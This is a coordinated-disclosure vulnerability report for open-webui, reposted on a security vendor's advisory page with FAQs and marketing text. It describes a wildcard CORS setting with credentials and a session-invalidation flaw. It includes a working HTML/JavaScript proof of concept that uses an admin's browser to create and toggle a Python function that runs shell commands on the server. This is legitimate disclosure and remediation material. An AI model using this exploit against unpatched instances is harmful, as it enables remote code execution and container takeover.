Summary
GitHub Security Lab (GHSL) Vulnerability Report, open-webui: GHSL-2024-174, GHSL-2024-175
The GitHub Security Lab team has identified potential security vulnerabilities in open-webui.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2024-174 or GHSL-2024-175 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.
If you are NOT the correct point of contact for this report, please let us know!
Due to a CORS misconfiguration and session validation issue, an attacker may be able to perform a 1 click attack against browsers with admin access to openwebui, resulting in remote code execution in the openwebui instance. The openwebui application runs as root in Docker container's default setup, which allows for complete compromise of the container.
Project
open-webui
Tested Version
Details
Issue 1: CORS misconfiguration on multiple routers (GHSL-2024-174)
CORS misconfigurations exist on multiple routers of open-webui which results in allowing arbitrary websites to make authenticated cross site requests to openwebui. Accounts with access to the /api/v1/functions endpoint (admins) can execute arbitrary code on the openwebui instance.
The following pattern occurs at the following routers:
- backend/apps/webui/main.py
- backend/apps/audio/main.py
- backend/apps/images/main.py
- backend/apps/rag/main.py
- backend/apps/openai/main.py
- backend/apps/ollama/main.py
- backend/main.py
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
Proof of Concept
Host the following code on your website, attacker.com. Open the webpage using Firefox, and click on the webpage as instructed. Check your openwebui host to see the result of the command whoami placed into a newly created file /tmp/whoami.txt. Ensure you have logged into an admin open-webui account
<body>
<p>Click here to login.</p>
<div id="response"></div>
<script>
//Firefox cross site cookie request bypass
const url = 'http://localhost:3000/static/favicon.png';
document.addEventListener("DOMContentLoaded", () => {
document.onclick = () => {
open(url);
filter_id = "okok"
//Create a function/filter to write code
fetch('http://localhost:3000/api/v1/functions/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
"id": filter_id,
"name": "test2",
"meta": {"description": "test2"},
"content": "from pydantic import BaseModel, Field\nfrom typing import Optional\n\n\nclass Filter:\n class Valves(BaseModel):\n priority: int = Field(\n default=0, description=\"Priority level for the filter operations.\"\n )\n max_turns: int = Field(\n default=8, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n class UserValves(BaseModel):\n max_turns: int = Field(\n default=4, description=\"Maximum allowable conversation turns for a user.\"\n )\n pass\n\n def __init__(self):\n # Indicates custom file handling logic. This flag helps disengage default routines in favor of custom\n # implementations, informing the WebUI to defer file-related operations to designated methods within this class.\n # Alternatively, you can remove the files directly from the body in from the inlet hook\n # self.file_handler = True\n\n # Initialize 'valves' with specific configurations. Using 'Valves' instance helps encapsulate settings,\n # which ensures settings are managed cohesively and not confused with operational flags like 'file_handler'.\n self.valves = self.Valves()\n f = open(\"/tmp/whoami.txt\", \"w\")\n import subprocess\n\n output = subprocess.getoutput(\"whoami\")\n f.write(output)\n f.close()\n pass\n\n def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n\n def outlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n return body\n"
}),
credentials: 'include' // This will send cookies from the origin
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => console.error('Error:', error));
//Toggle the filter to execute code
fetch(`http://localhost:3000/api/v1/functions/id/${filter_id}/toggle`, {
method: 'POST',
credentials: 'include' // This will send cookies from the origin
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => console.error('Error:', error));
}
});
</script>
</body>
Issue 2: Failure to Invalidate Session on Logout (GHSL-2024-175)
Openwebui fails to invalidate and clear session cookies after logout. In fact, it seems to reuse the same session cookies. This allows an attacker who has access to previous session cookie details to login at a later point as long as the victim has not closed their browser.
This vulnerability is relevant to the above CORS issue because it no longer requires the user to be logged in to exploit. If the cookie had been properly invalidated/cleared, the CORS issue would only affect logged in users.
Impact
This issue may increase the impact of primitives gained from other security issues.
Remediation
For every session, new cookies should be generated. When a user logouts, the session cookies from the previous session should be invalidated and removed from the browser's storage.
Resources
OWASP Recommendation On Sessions
GitHub Security Advisories
We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at [email protected], please include a reference to GHSL-2024-174 or GHSL-2024-175 in any communication regarding these issues.
Disclosure Policy
This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.
Impact
This issue may lead to Remote Code Execution.
GHSA-6XCP-7MPR-M7WM has a CVSS score of 8.3 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.3.33); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
The FastAPI CORS middleware is not safe by default, meaning it reflects the origin when specifying allow_origins=["*"]. Remove the vulnerable, broad origin and allow users to dynamically setup the exact allowed origins via the administration panel or config file, do not allow for broad origins such as "*" or "*.com"
Frequently Asked Questions
- What is GHSA-6XCP-7MPR-M7WM? GHSA-6XCP-7MPR-M7WM is a high-severity security vulnerability in open-webui (pip), affecting versions < 0.3.33. It is fixed in 0.3.33.
- How severe is GHSA-6XCP-7MPR-M7WM? GHSA-6XCP-7MPR-M7WM has a CVSS score of 8.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of open-webui are affected by GHSA-6XCP-7MPR-M7WM? open-webui (pip) versions < 0.3.33 is affected.
- Is there a fix for GHSA-6XCP-7MPR-M7WM? Yes. GHSA-6XCP-7MPR-M7WM is fixed in 0.3.33. Upgrade to this version or later.
- Is GHSA-6XCP-7MPR-M7WM exploitable, and should I be worried? Whether GHSA-6XCP-7MPR-M7WM is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-6XCP-7MPR-M7WM is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-6XCP-7MPR-M7WM? Upgrade
open-webuito 0.3.33 or later.